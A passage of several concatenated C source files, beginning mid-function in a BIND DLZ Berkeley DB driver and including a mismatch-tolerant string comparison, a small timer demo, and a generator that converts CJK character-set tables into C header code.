/* allocate mem for key */
key.data = keyStr = malloc((key.size + 1) * sizeof(char));
if (keyStr == NULL)
return ISC_R_NOMEMORY;
strcpy(keyStr, zone);
strcat(keyStr, " ");
strcat(keyStr, name);
/* get a cursor to loop through data */
if (db->data->cursor(db->data, NULL, &data_cursor, 0) != 0) {
result = ISC_R_FAILURE;
goto lookup_cleanup;
}
result = ISC_R_NOTFOUND;
flags = DB_SET;
while ((bdbhptres = data_cursor->c_get(data_cursor, &key, &data,
flags)) == 0) {
flags = DB_NEXT_DUP;
tmp = realloc(tmp, data.size + 1);
if (tmp == NULL)
goto lookup_cleanup;
strncpy(tmp, data.data, data.size);
tmp[data.size] = '\0';
if (bdbhpt_parse_data(tmp, &pd) != ISC_R_SUCCESS)
goto lookup_cleanup;
result = dns_sdlz_putrr(lookup, pd.type, pd.ttl, pd.data);
if (result != ISC_R_SUCCESS)
goto lookup_cleanup;
} /* end while loop */
lookup_cleanup:
/* get rid of cursor */
if (data_cursor != NULL)
data_cursor->c_close(data_cursor);
if (keyStr != NULL)
free(keyStr);
if (tmp != NULL)
free(tmp);
return result;
}
/*% Initializes, sets flags and then opens Berkeley databases. */
static isc_result_t
bdbhpt_opendb(DB_ENV *db_env, DBTYPE db_type, DB **db, const char *db_name,
char *db_file, int flags) {
int result;
/* Initialize the database. */
if ((result = db_create(db, db_env, 0)) != 0) {
isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
"bdbhpt could not initialize %s database. "
"bdbhpt error: %s",
db_name, db_strerror(result));
return ISC_R_FAILURE;
}
/* set database flags. */
if ((result = (*db)->set_flags(*db, flags)) != 0) {
isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
"bdbhpt could not set flags for %s database. "
"bdbhpt error: %s",
db_name, db_strerror(result));
return ISC_R_FAILURE;
}
/* open the database. */
if ((result = (*db)->open(*db, NULL, db_file, db_name, db_type,
DB_RDONLY | bdbhpt_threads, 0)) != 0) {
isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
"bdbhpt could not open %s database in %s. "
"bdbhpt error: %s",
db_name, db_file, db_strerror(result));
return ISC_R_FAILURE;
}
return ISC_R_SUCCESS;
}
static isc_result_t
bdbhpt_create(const char *dlzname, unsigned int argc, char *argv[],
void *driverarg, void **dbdata)
{
isc_result_t result;
int bdbhptres;
int bdbFlags = 0;
bdbhpt_instance_t *db = NULL;
UNUSED(dlzname);
UNUSED(driverarg);
/* verify we have 4 arg's passed to the driver */
if (argc != 4) {
isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
"bdbhpt driver requires at least "
"3 command line args.");
return (ISC_R_FAILURE);
}
switch((char) *argv[1]) {
/*
* Transactional mode. Highest safety - lowest speed.
*/
case 'T':
case 't':
bdbFlags = DB_INIT_MPOOL | DB_INIT_LOCK |
DB_INIT_LOG | DB_INIT_TXN;
isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
DNS_LOGMODULE_DLZ, ISC_LOG_DEBUG(1),
"bdbhpt driver using transactional mode.");
break;
/*
* Concurrent mode. Lower safety (no rollback) -
* higher speed.
*/
case 'C':
case 'c':
bdbFlags = DB_INIT_CDB | DB_INIT_MPOOL;
isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
DNS_LOGMODULE_DLZ, ISC_LOG_DEBUG(1),
"bdbhpt driver using concurrent mode.");
break;
/*
* Private mode. No inter-process communication & no locking.
* Lowest saftey - highest speed.
*/
case 'P':
case 'p':
bdbFlags = DB_PRIVATE | DB_INIT_MPOOL;
isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
DNS_LOGMODULE_DLZ, ISC_LOG_DEBUG(1),
"bdbhpt driver using private mode.");
break;
default:
isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
"bdbhpt driver requires the operating mode "
"be set to P or C or T. You specified '%s'",
argv[1]);
return (ISC_R_FAILURE);
}
/* allocate and zero memory for driver structure */
db = isc_mem_get(ns_g_mctx, sizeof(bdbhpt_instance_t));
if (db == NULL) {
isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
"Could not allocate memory for "
"database instance object.");
return (ISC_R_NOMEMORY);
}
memset(db, 0, sizeof(bdbhpt_instance_t));
/* attach to the memory context */
isc_mem_attach(ns_g_mctx, &db->mctx);
/*
* create bdbhpt environment
* Basically bdbhpt allocates and assigns memory to db->dbenv
*/
bdbhptres = db_env_create(&db->dbenv, 0);
if (bdbhptres != 0) {
isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
"bdbhpt environment could not be created. "
"bdbhpt error: %s",
db_strerror(bdbhptres));
result = ISC_R_FAILURE;
goto init_cleanup;
}
/* open bdbhpt environment */
bdbhptres = db->dbenv->open(db->dbenv, argv[2],
bdbFlags | bdbhpt_threads | DB_CREATE, 0);
if (bdbhptres != 0) {
isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
"bdbhpt environment at '%s' could not be opened."
" bdbhpt error: %s",
argv[2], db_strerror(bdbhptres));
result = ISC_R_FAILURE;
goto init_cleanup;
}
/* open dlz_data database. */
result = bdbhpt_opendb(db->dbenv, DB_UNKNOWN, &db->data,
dlz_data, argv[3], DB_DUP | DB_DUPSORT);
if (result != ISC_R_SUCCESS)
goto init_cleanup;
/* open dlz_xfr database. */
result = bdbhpt_opendb(db->dbenv, DB_UNKNOWN, &db->xfr,
dlz_xfr, argv[3], DB_DUP | DB_DUPSORT);
if (result != ISC_R_SUCCESS)
goto init_cleanup;
/* open dlz_zone database. */
result = bdbhpt_opendb(db->dbenv, DB_UNKNOWN, &db->zone,
dlz_zone, argv[3], 0);
if (result != ISC_R_SUCCESS)
goto init_cleanup;
/* open dlz_client database. */
result = bdbhpt_opendb(db->dbenv, DB_UNKNOWN, &db->client,
dlz_client, argv[3], DB_DUP | DB_DUPSORT);
if (result != ISC_R_SUCCESS)
goto init_cleanup;
*dbdata = db;
return(ISC_R_SUCCESS);
init_cleanup:
bdbhpt_cleanup(db);
return result;
}
static void
bdbhpt_destroy(void *driverarg, void *dbdata)
{
UNUSED(driverarg);
bdbhpt_cleanup((bdbhpt_instance_t *) dbdata);
}
/*
* bdbhpt_authority not needed as authority data is returned by lookup
*/
static dns_sdlzmethods_t dlz_bdbhpt_methods = {
bdbhpt_create,
bdbhpt_destroy,
bdbhpt_findzone,
bdbhpt_lookup,
NULL,
bdbhpt_allnodes,
bdbhpt_allowzonexfr,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
};
/*%
* Wrapper around dns_sdlzregister().
*/
isc_result_t
dlz_bdbhpt_init(void) {
isc_result_t result;
/*
* Write debugging message to log
*/
isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
DNS_LOGMODULE_DLZ, ISC_LOG_DEBUG(2),
"Registering DLZ bdbhpt driver.");
result = dns_sdlzregister("bdbhpt", &dlz_bdbhpt_methods, NULL,
DNS_SDLZFLAG_RELATIVEOWNER |
DNS_SDLZFLAG_RELATIVERDATA |
DNS_SDLZFLAG_THREADSAFE,
ns_g_mctx, &dlz_bdbhpt);
if (result != ISC_R_SUCCESS) {
UNEXPECTED_ERROR(__FILE__, __LINE__,
"dns_sdlzregister() failed: %s",
isc_result_totext(result));
result = ISC_R_UNEXPECTED;
}
return result;
}
/*%
* Wrapper around dns_sdlzunregister().
*/
void
dlz_bdbhpt_clear(void) {
/*
* Write debugging message to log
*/
isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
DNS_LOGMODULE_DLZ, ISC_LOG_DEBUG(2),
"Unregistering DLZ bdbhpt driver.");
if (dlz_bdbhpt != NULL)
dns_sdlzunregister(&dlz_bdbhpt);
}
#endif
|
the_stack_data/29824241.c
|
#include <assert.h>
#include <ctype.h>
#include <stdlib.h>
#include <stdio.h>
int strncmp_with_mismatch (const char *s1, const char *s2, register size_t n, register size_t mismatch) {
register unsigned char u1, u2;
int cnt=0;
while (n-- > 0) {
u1 = (unsigned char) *s1++;
u2 = (unsigned char) *s2++;
if (u1 != u2) {
cnt++;
if (cnt > mismatch) return u1 - u2;
}
if (u1 == '\0') return 0;
}
return 0;
}
|
the_stack_data/12639123.c
|
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv) {
int i;
printf("%s: ", __FUNCTION__);
for (i=1; i < 4; i++) {
printf(" %d ", i);
fflush(stdout);
usleep(500000) ;
}
printf("\n");
return 0;
}
|
the_stack_data/1069051.c
|
/* $XFree86$ */
/*
* Generates a CJK character set table from a .TXT table as found on
* ftp.unicode.org or in the X nls directory.
* Examples:
*
* ./cjk_tab_to_h GB2312.1980-0 gb2312 > gb2312.h < gb2312
* ./cjk_tab_to_h JISX0208.1983-0 jisx0208 > jisx0208.h < jis0208
* ./cjk_tab_to_h KSC5601.1987-0 ksc5601 > ksc5601.h < ksc5601
*
* ./cjk_tab_to_h GB2312.1980-0 gb2312 > gb2312.h < GB2312.TXT
* ./cjk_tab_to_h JISX0208.1983-0 jisx0208 > jisx0208.h < JIS0208.TXT
* ./cjk_tab_to_h JISX0212.1990-0 jisx0212 > jisx0212.h < JIS0212.TXT
* ./cjk_tab_to_h KSC5601.1987-0 ksc5601 > ksc5601.h < KSC5601.TXT
* ./cjk_tab_to_h KSX1001.1992-0 ksc5601 > ksc5601.h < KSX1001.TXT
*
* ./cjk_tab_to_h BIG5 big5 > big5.h < BIG5.TXT
*
* ./cjk_tab_to_h JOHAB johab > johab.h < JOHAB.TXT
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
typedef struct {
int start;
int end;
} Block;
typedef struct {
int rows; /* number of possible values for the 1st byte */
int cols; /* number of possible values for the 2nd byte */
int (*row_byte) (int row); /* returns the 1st byte value for a given row */
int (*col_byte) (int col); /* returns the 2nd byte value for a given col */
int (*byte_row) (int byte); /* converts a 1st byte value to a row, else -1 */
int (*byte_col) (int byte); /* converts a 2nd byte value to a col, else -1 */
const char* check_row_expr; /* format string for 1st byte value checking */
const char* check_col_expr; /* format string for 2nd byte value checking */
const char* byte_row_expr; /* format string for 1st byte value to row */
const char* byte_col_expr; /* format string for 2nd byte value to col */
int** charset2uni; /* charset2uni[0..rows-1][0..cols-1] is valid */
/* You'll understand the terms "row" and "col" when you buy Ken Lunde's book.
Once a row is fixed, choosing a "col" is the same as choosing a "cell". */
int* charsetpage; /* charsetpage[0..rows]: how large is a page for a row */
int ncharsetblocks;
Block* charsetblocks; /* blocks[0..nblocks-1] */
int* uni2charset; /* uni2charset[0x0000..0xffff] */
} Encoding;
/*
* Outputs the file title.
*/
static void output_title (const char *charsetname)
{
printf("\n");
printf("/*\n");
printf(" * %s\n", charsetname);
printf(" */\n");
printf("\n");
}
/*
* Reads the charset2uni table from standard input.
*/
static void read_table (Encoding* enc)
{
int row, col, i, i1, i2, c, j;
enc->charset2uni = (int**) malloc(enc->rows*sizeof(int*));
for (row = 0; row < enc->rows; row++)
enc->charset2uni[row] = (int*) malloc(enc->cols*sizeof(int));
for (row = 0; row < enc->rows; row++)
for (col = 0; col < enc->cols; col++)
enc->charset2uni[row][col] = 0xfffd;
c = getc(stdin);
ungetc(c,stdin);
if (c == '#') {
/* Read a unicode.org style .TXT file. */
for (;;) {
c = getc(stdin);
if (c == EOF)
break;
if (c == '\n' || c == ' ' || c == '\t')
continue;
if (c == '#') {
do { c = getc(stdin); } while (!(c == EOF || c == '\n'));
continue;
}
ungetc(c,stdin);
if (scanf("0x%x", &j) != 1)
exit(1);
i1 = j >> 8;
i2 = j & 0xff;
row = enc->byte_row(i1);
col = enc->byte_col(i2);
if (row < 0 || col < 0) {
fprintf(stderr, "lost entry for %02x %02x\n", i1, i2);
exit(1);
}
if (scanf(" 0x%x", &enc->charset2uni[row][col]) != 1)
exit(1);
}
} else {
/* Read a table of hexadecimal Unicode values. */
for (i1 = 32; i1 < 132; i1++)
for (i2 = 32; i2 < 132; i2++) {
i = scanf("%x", &j);
if (i == EOF)
goto read_done;
if (i != 1)
exit(1);
if (j < 0 || j == 0xffff)
j = 0xfffd;
if (j != 0xfffd) {
if (enc->byte_row(i1) < 0 || enc->byte_col(i2) < 0) {
fprintf(stderr, "lost entry at %02x %02x\n", i1, i2);
exit (1);
}
enc->charset2uni[enc->byte_row(i1)][enc->byte_col(i2)] = j;
}
}
read_done: ;
}
}
/*
* Computes the charsetpage[0..rows] array.
*/
static void find_charset2uni_pages (Encoding* enc)
{
int row, col;
enc->charsetpage = (int*) malloc((enc->rows+1)*sizeof(int));
for (row = 0; row <= enc->rows; row++)
enc->charsetpage[row] = 0;
for (row = 0; row < enc->rows; row++) {
int used = 0;
for (col = 0; col < enc->cols; col++)
if (enc->charset2uni[row][col] != 0xfffd)
used = col+1;
enc->charsetpage[row] = used;
}
}
/*
* Fills in nblocks and blocks.
*/
static void find_charset2uni_blocks (Encoding* enc)
{
int n, row, lastrow;
enc->charsetblocks = (Block*) malloc(enc->rows*sizeof(Block));
n = 0;
for (row = 0; row < enc->rows; row++)
if (enc->charsetpage[row] > 0 && (row == 0 || enc->charsetpage[row-1] == 0)) {
for (lastrow = row; enc->charsetpage[lastrow+1] > 0; lastrow++);
enc->charsetblocks[n].start = row * enc->cols;
enc->charsetblocks[n].end = lastrow * enc->cols + enc->charsetpage[lastrow];
n++;
}
enc->ncharsetblocks = n;
}
/*
* Outputs the charset to unicode table and function.
*/
static void output_charset2uni (const char* name, Encoding* enc)
{
int row, col, lastrow, col_max, i, i1_min, i1_max;
find_charset2uni_pages(enc);
find_charset2uni_blocks(enc);
for (row = 0; row < enc->rows; row++)
if (enc->charsetpage[row] > 0) {
if (row == 0 || enc->charsetpage[row-1] == 0) {
/* Start a new block. */
for (lastrow = row; enc->charsetpage[lastrow+1] > 0; lastrow++);
printf("static const unsigned short %s_2uni_page%02x[%d] = {\n",
name, enc->row_byte(row),
(lastrow-row) * enc->cols + enc->charsetpage[lastrow]);
}
printf(" /""* 0x%02x *""/\n ", enc->row_byte(row));
col_max = (enc->charsetpage[row+1] > 0 ? enc->cols : enc->charsetpage[row]);
for (col = 0; col < col_max; col++) {
printf(" 0x%04x,", enc->charset2uni[row][col]);
if ((col % 8) == 7 && (col+1 < col_max)) printf("\n ");
}
printf("\n");
if (enc->charsetpage[row+1] == 0) {
/* End a block. */
printf("};\n");
}
}
printf("\n");
printf("static int\n");
printf("%s_mbtowc (conv_t conv, ucs4_t *pwc, const unsigned char *s, int n)\n", name);
printf("{\n");
printf(" unsigned char c1 = s[0];\n");
printf(" if (");
for (i = 0; i < enc->ncharsetblocks; i++) {
i1_min = enc->row_byte(enc->charsetblocks[i].start / enc->cols);
i1_max = enc->row_byte((enc->charsetblocks[i].end-1) / enc->cols);
if (i > 0)
printf(" || ");
if (i1_min == i1_max)
printf("(c1 == 0x%02x)", i1_min);
else
printf("(c1 >= 0x%02x && c1 <= 0x%02x)", i1_min, i1_max);
}
printf(") {\n");
printf(" if (n >= 2) {\n");
printf(" unsigned char c2 = s[1];\n");
printf(" if (");
printf(enc->check_col_expr, "c2");
printf(") {\n");
printf(" unsigned int i = %d * (", enc->cols);
printf(enc->byte_row_expr, "c1");
printf(") + (");
printf(enc->byte_col_expr, "c2");
printf(");\n");
printf(" unsigned short wc = 0xfffd;\n");
for (i = 0; i < enc->ncharsetblocks; i++) {
printf(" ");
if (i > 0)
printf("} else ");
if (i < enc->ncharsetblocks-1)
printf("if (i < %d) ", enc->charsetblocks[i+1].start);
printf("{\n");
printf(" if (i < %d)\n", enc->charsetblocks[i].end);
printf(" wc = %s_2uni_page%02x[i", name, enc->row_byte(enc->charsetblocks[i].start / enc->cols));
if (enc->charsetblocks[i].start > 0)
printf("-%d", enc->charsetblocks[i].start);
printf("];\n");
}
printf(" }\n");
printf(" if (wc != 0xfffd) {\n");
printf(" *pwc = (ucs4_t) wc;\n");
printf(" return 2;\n");
printf(" }\n");
printf(" }\n");
printf(" return RET_ILSEQ;\n");
printf(" }\n");
printf(" return RET_TOOFEW(0);\n");
printf(" }\n");
printf(" return RET_ILSEQ;\n");
printf("}\n");
printf("\n");
}
/*
* Computes the uni2charset[0x0000..0xffff] array.
*/
static void invert (Encoding* enc)
{
int row, col, j;
enc->uni2charset = (int*) malloc(0x10000*sizeof(int));
for (j = 0; j < 0x10000; j++)
enc->uni2charset[j] = 0;
for (row = 0; row < enc->rows; row++)
for (col = 0; col < enc->cols; col++) {
j = enc->charset2uni[row][col];
if (j != 0xfffd)
enc->uni2charset[j] = 0x100 * enc->row_byte(row) + enc->col_byte(col);
}
}
/*
* Outputs the unicode to charset table and function, using a linear array.
* (Suitable if the table is dense.)
*/
static void output_uni2charset_dense (const char* name, Encoding* enc)
{
/* Like in 8bit_tab_to_h.c */
bool pages[0x100];
int line[0x2000];
int tableno;
struct { int minline; int maxline; int usecount; } tables[0x2000];
bool first;
int row, col, j, p, j1, j2, t;
for (p = 0; p < 0x100; p++)
pages[p] = false;
for (row = 0; row < enc->rows; row++)
for (col = 0; col < enc->cols; col++) {
j = enc->charset2uni[row][col];
if (j != 0xfffd)
pages[j>>8] = true;
}
for (j1 = 0; j1 < 0x2000; j1++) {
bool all_invalid = true;
for (j2 = 0; j2 < 8; j2++) {
j = 8*j1+j2;
if (enc->uni2charset[j] != 0)
all_invalid = false;
}
if (all_invalid)
line[j1] = -1;
else
line[j1] = 0;
}
tableno = 0;
for (j1 = 0; j1 < 0x2000; j1++) {
if (line[j1] >= 0) {
if (tableno > 0
&& ((j1 > 0 && line[j1-1] == tableno-1)
|| ((tables[tableno-1].maxline >> 5) == (j1 >> 5)
&& j1 - tables[tableno-1].maxline <= 8))) {
line[j1] = tableno-1;
tables[tableno-1].maxline = j1;
} else {
tableno++;
line[j1] = tableno-1;
tables[tableno-1].minline = tables[tableno-1].maxline = j1;
}
}
}
for (t = 0; t < tableno; t++) {
tables[t].usecount = 0;
j1 = 8*tables[t].minline;
j2 = 8*(tables[t].maxline+1);
for (j = j1; j < j2; j++)
if (enc->uni2charset[j] != 0)
tables[t].usecount++;
}
{
p = -1;
for (t = 0; t < tableno; t++)
if (tables[t].usecount > 1) {
p = tables[t].minline >> 5;
printf("static const unsigned short %s_page%02x[%d] = {\n", name, p, 8*(tables[t].maxline-tables[t].minline+1));
for (j1 = tables[t].minline; j1 <= tables[t].maxline; j1++) {
if ((j1 % 0x20) == 0 && j1 > tables[t].minline)
printf(" /* 0x%04x */\n", 8*j1);
printf(" ");
for (j2 = 0; j2 < 8; j2++) {
j = 8*j1+j2;
printf(" 0x%04x,", enc->uni2charset[j]);
}
printf(" /*0x%02x-0x%02x*/\n", 8*(j1 % 0x20), 8*(j1 % 0x20)+7);
}
printf("};\n");
}
if (p >= 0)
printf("\n");
}
printf("static int\n%s_wctomb (conv_t conv, unsigned char *r, ucs4_t wc, int n)\n", name);
printf("{\n");
printf(" if (n >= 2) {\n");
printf(" unsigned short c = 0;\n");
first = true;
for (j1 = 0; j1 < 0x2000;) {
t = line[j1];
for (j2 = j1; j2 < 0x2000 && line[j2] == t; j2++);
if (t >= 0) {
if (j1 != tables[t].minline) abort();
if (j2 > tables[t].maxline+1) abort();
j2 = tables[t].maxline+1;
if (first)
printf(" ");
else
printf(" else ");
first = false;
if (tables[t].usecount == 0) abort();
if (tables[t].usecount == 1) {
if (j2 != j1+1) abort();
for (j = 8*j1; j < 8*j2; j++)
if (enc->uni2charset[j] != 0) {
printf("if (wc == 0x%04x)\n c = 0x%02x;\n", j, enc->uni2charset[j]);
break;
}
} else {
if (j1 == 0) {
printf("if (wc < 0x%04x)", 8*j2);
} else {
printf("if (wc >= 0x%04x && wc < 0x%04x)", 8*j1, 8*j2);
}
printf("\n c = %s_page%02x[wc", name, j1 >> 5);
if (tables[t].minline > 0)
printf("-0x%04x", 8*j1);
printf("];\n");
}
}
j1 = j2;
}
printf(" if (c != 0) {\n");
printf(" r[0] = (c >> 8); r[1] = (c & 0xff);\n");
printf(" return 2;\n");
printf(" }\n");
printf(" return RET_ILSEQ;\n");
printf(" }\n");
printf(" return RET_TOOSMALL;\n");
printf("}\n");
}
/*
* Outputs the unicode to charset table and function, using a packed array.
* (Suitable if the table is sparse.)
*/
static void output_uni2charset_sparse (const char* name, Encoding* enc)
{
bool pages[0x100];
Block pageblocks[0x100]; int npageblocks;
int indx2charset[0x10000];
int summary_indx[0x1000];
int summary_used[0x1000];
int i, row, col, j, p, j1, j2, indx;
/* Fill pages[0x100]. */
for (p = 0; p < 0x100; p++)
pages[p] = false;
for (row = 0; row < enc->rows; row++)
for (col = 0; col < enc->cols; col++) {
j = enc->charset2uni[row][col];
if (j != 0xfffd)
pages[j>>8] = true;
}
#if 0
for (p = 0; p < 0x100; p++)
if (pages[p]) {
printf("static const unsigned short %s_page%02x[256] = {\n", name, p);
for (j1 = 0; j1 < 32; j1++) {
printf(" ");
for (j2 = 0; j2 < 8; j2++)
printf("0x%04x, ", enc->uni2charset[256*p+8*j1+j2]);
printf("/""*0x%02x-0x%02x*""/\n", 8*j1, 8*j1+7);
}
printf("};\n");
}
printf("\n");
#endif
/* Fill summary_indx[] and summary_used[]. */
indx = 0;
for (j1 = 0; j1 < 0x1000; j1++) {
summary_indx[j1] = indx;
summary_used[j1] = 0;
for (j2 = 0; j2 < 16; j2++) {
j = 16*j1+j2;
if (enc->uni2charset[j] != 0) {
indx2charset[indx++] = enc->uni2charset[j];
summary_used[j1] |= (1 << j2);
}
}
}
/* Fill npageblocks and pageblocks[]. */
npageblocks = 0;
for (p = 0; p < 0x100; ) {
if (pages[p] && (p == 0 || !pages[p-1])) {
pageblocks[npageblocks].start = 16*p;
do p++; while (p < 0x100 && pages[p]);
j1 = 16*p;
while (summary_used[j1-1] == 0) j1--;
pageblocks[npageblocks].end = j1;
npageblocks++;
} else
p++;
}
printf("static const unsigned short %s_2charset[%d] = {\n", name, indx);
for (i = 0; i < indx; ) {
if ((i % 8) == 0) printf(" ");
printf(" 0x%04x,", indx2charset[i]);
i++;
if ((i % 8) == 0 || i == indx) printf("\n");
}
printf("};\n");
printf("\n");
for (i = 0; i < npageblocks; i++) {
printf("static const Summary16 %s_uni2indx_page%02x[%d] = {\n", name,
pageblocks[i].start/16, pageblocks[i].end-pageblocks[i].start);
for (j1 = pageblocks[i].start; j1 < pageblocks[i].end; ) {
if (((16*j1) % 0x100) == 0) printf(" /""* 0x%04x *""/\n", 16*j1);
if ((j1 % 4) == 0) printf(" ");
printf(" { %4d, 0x%04x },", summary_indx[j1], summary_used[j1]);
j1++;
if ((j1 % 4) == 0 || j1 == pageblocks[i].end) printf("\n");
}
printf("};\n");
}
printf("\n");
printf("static int\n");
printf("%s_wctomb (conv_t conv, unsigned char *r, ucs4_t wc, int n)\n", name);
printf("{\n");
printf(" if (n >= 2) {\n");
printf(" const Summary16 *summary = NULL;\n");
for (i = 0; i < npageblocks; i++) {
printf(" ");
if (i > 0)
printf("else ");
printf("if (wc >= 0x%04x && wc < 0x%04x)\n",
16*pageblocks[i].start, 16*pageblocks[i].end);
printf(" summary = &%s_uni2indx_page%02x[(wc>>4)", name,
pageblocks[i].start/16);
if (pageblocks[i].start > 0)
printf("-0x%03x", pageblocks[i].start);
printf("];\n");
}
printf(" if (summary) {\n");
printf(" unsigned short used = summary->used;\n");
printf(" unsigned int i = wc & 0x0f;\n");
printf(" if (used & ((unsigned short) 1 << i)) {\n");
printf(" unsigned short c;\n");
printf(" /* Keep in `used' only the bits 0..i-1. */\n");
printf(" used &= ((unsigned short) 1 << i) - 1;\n");
printf(" /* Add `summary->indx' and the number of bits set in `used'. */\n");
printf(" used = (used & 0x5555) + ((used & 0xaaaa) >> 1);\n");
printf(" used = (used & 0x3333) + ((used & 0xcccc) >> 2);\n");
printf(" used = (used & 0x0f0f) + ((used & 0xf0f0) >> 4);\n");
printf(" used = (used & 0x00ff) + (used >> 8);\n");
printf(" c = %s_2charset[summary->indx + used];\n", name);
printf(" r[0] = (c >> 8); r[1] = (c & 0xff);\n");
printf(" return 2;\n");
printf(" }\n");
printf(" }\n");
printf(" return RET_ILSEQ;\n");
printf(" }\n");
printf(" return RET_TOOSMALL;\n");
printf("}\n");
}
/* ISO-2022/EUC specifics */
static int row_byte_normal (int row) { return 0x21+row; }
static int col_byte_normal (int col) { return 0x21+col; }
static int byte_row_normal (int byte) { return byte-0x21; }
static int byte_col_normal (int byte) { return byte-0x21; }
static void do_normal (const char* name)
{
Encoding enc;
enc.rows = 94;
enc.cols = 94;
enc.row_byte = row_byte_normal;
enc.col_byte = col_byte_normal;
enc.byte_row = byte_row_normal;
enc.byte_col = byte_col_normal;
enc.check_row_expr = "%1$s >= 0x21 && %1$s < 0x7f";
enc.check_col_expr = "%1$s >= 0x21 && %1$s < 0x7f";
enc.byte_row_expr = "%1$s - 0x21";
enc.byte_col_expr = "%1$s - 0x21";
read_table(&enc);
output_charset2uni(name,&enc);
invert(&enc); output_uni2charset_sparse(name,&enc);
}
/* Note: On first sight, the jisx0212_2charset[] table seems to be in order,
starting from the charset=0x3021/uni=0x4e02 pair. But it's only mostly in
order. There are 75 out-of-order values, scattered all throughout the table.
*/
static void do_normal_only_charset2uni (const char* name)
{
Encoding enc;
enc.rows = 94;
enc.cols = 94;
enc.row_byte = row_byte_normal;
enc.col_byte = col_byte_normal;
enc.byte_row = byte_row_normal;
enc.byte_col = byte_col_normal;
enc.check_row_expr = "%1$s >= 0x21 && %1$s < 0x7f";
enc.check_col_expr = "%1$s >= 0x21 && %1$s < 0x7f";
enc.byte_row_expr = "%1$s - 0x21";
enc.byte_col_expr = "%1$s - 0x21";
read_table(&enc);
output_charset2uni(name,&enc);
}
/* CNS 11643 specifics - trick to put two tables into one */
static int row_byte_cns11643 (int row) {
return 0x100 * (row / 94) + (row % 94) + 0x21;
}
static int byte_row_cns11643 (int byte) {
return (byte >= 0x100 && byte < 0x200 ? byte-0x121 :
byte >= 0x200 && byte < 0x300 ? byte-0x221+94 :
byte >= 0x300 && byte < 0x400 ? byte-0x321+2*94 :
-1);
}
static void do_cns11643_only_uni2charset (const char* name)
{
Encoding enc;
int j, x;
enc.rows = 3*94;
enc.cols = 94;
enc.row_byte = row_byte_cns11643;
enc.col_byte = col_byte_normal;
enc.byte_row = byte_row_cns11643;
enc.byte_col = byte_col_normal;
enc.check_row_expr = "%1$s >= 0x21 && %1$s < 0x7f";
enc.check_col_expr = "%1$s >= 0x21 && %1$s < 0x7f";
enc.byte_row_expr = "%1$s - 0x21";
enc.byte_col_expr = "%1$s - 0x21";
read_table(&enc);
invert(&enc);
/* Move the 2 plane bits into the unused bits 15 and 7. */
for (j = 0; j < 0x10000; j++) {
x = enc.uni2charset[j];
if (x != 0) {
if (x & 0x8080) abort();
switch (x >> 16) {
case 0: /* plane 1 */ x = (x & 0xffff) | 0x0000; break;
case 1: /* plane 2 */ x = (x & 0xffff) | 0x0080; break;
case 2: /* plane 3 */ x = (x & 0xffff) | 0x8000; break;
default: abort();
}
enc.uni2charset[j] = x;
}
}
output_uni2charset_sparse(name,&enc);
}
/* GBK specifics */
static int row_byte_gbk1 (int row) {
return 0x81+row;
}
static int col_byte_gbk1 (int col) {
return (col >= 0x3f ? 0x41 : 0x40) + col;
}
static int byte_row_gbk1 (int byte) {
if (byte >= 0x81 && byte < 0xff)
return byte-0x81;
else
return -1;
}
static int byte_col_gbk1 (int byte) {
if (byte >= 0x40 && byte < 0x7f)
return byte-0x40;
else if (byte >= 0x80 && byte < 0xff)
return byte-0x41;
else
return -1;
}
static void do_gbk1 (const char* name)
{
Encoding enc;
enc.rows = 126;
enc.cols = 190;
enc.row_byte = row_byte_gbk1;
enc.col_byte = col_byte_gbk1;
enc.byte_row = byte_row_gbk1;
enc.byte_col = byte_col_gbk1;
enc.check_row_expr = "%1$s >= 0x81 && %1$s < 0xff";
enc.check_col_expr = "(%1$s >= 0x40 && %1$s < 0x7f) || (%1$s >= 0x80 && %1$s < 0xff)";
enc.byte_row_expr = "%1$s - 0x81";
enc.byte_col_expr = "%1$s - (%1$s >= 0x80 ? 0x41 : 0x40)";
read_table(&enc);
output_charset2uni(name,&enc);
invert(&enc); output_uni2charset_dense(name,&enc);
}
static void do_gbk1_only_charset2uni (const char* name)
{
Encoding enc;
enc.rows = 126;
enc.cols = 190;
enc.row_byte = row_byte_gbk1;
enc.col_byte = col_byte_gbk1;
enc.byte_row = byte_row_gbk1;
enc.byte_col = byte_col_gbk1;
enc.check_row_expr = "%1$s >= 0x81 && %1$s < 0xff";
enc.check_col_expr = "(%1$s >= 0x40 && %1$s < 0x7f) || (%1$s >= 0x80 && %1$s < 0xff)";
enc.byte_row_expr = "%1$s - 0x81";
enc.byte_col_expr = "%1$s - (%1$s >= 0x80 ? 0x41 : 0x40)";
read_table(&enc);
output_charset2uni(name,&enc);
}
static int row_byte_gbk2 (int row) {
return 0x81+row;
}
static int col_byte_gbk2 (int col) {
return (col >= 0x3f ? 0x41 : 0x40) + col;
}
static int byte_row_gbk2 (int byte) {
if (byte >= 0x81 && byte < 0xff)
return byte-0x81;
else
return -1;
}
static int byte_col_gbk2 (int byte) {
if (byte >= 0x40 && byte < 0x7f)
return byte-0x40;
else if (byte >= 0x80 && byte < 0xa1)
return byte-0x41;
else
return -1;
}
